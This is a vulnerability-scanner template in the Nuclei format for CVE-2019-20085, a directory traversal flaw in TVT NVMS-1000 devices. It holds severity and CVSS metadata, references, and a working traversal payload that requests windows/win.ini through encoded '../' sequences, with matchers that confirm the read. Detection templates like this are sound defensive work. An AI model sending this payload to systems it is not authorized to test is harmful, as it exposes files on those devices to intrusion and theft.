id: CVE-2019-20085

info:
  name: TVT NVMS 1000 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    TVT NVMS-1000 devices allow GET /.. local file inclusion attacks.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information stored on the system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the local file inclusion vulnerability in TVT NVMS 1000 software.
  reference:
    - https://www.exploit-db.com/exploits/48311
    - https://www.exploit-db.com/exploits/47774
    - http://packetstormsecurity.com/files/157196/TVT-NVMS-1000-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20085
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-20085
    cwe-id: CWE-22
    epss-score: 0.96071
    epss-percentile: 0.99869
    cpe: cpe:2.3:o:tvt:nvms-1000_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tvt
    product: nvms-1000_firmware
  tags: cve,cve2019,iot,lfi,kev,edb,packetstorm,tvt,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b83e71d0185577ff57830360b17ac0109b4f6b0228f73e641bcc8fb2eca87e290221008dd5a18d0db8a5e2e40002312c530135d7b0602125c0a751367feea0e41b0b5d:922c64590222798bb761d5b6d8e72950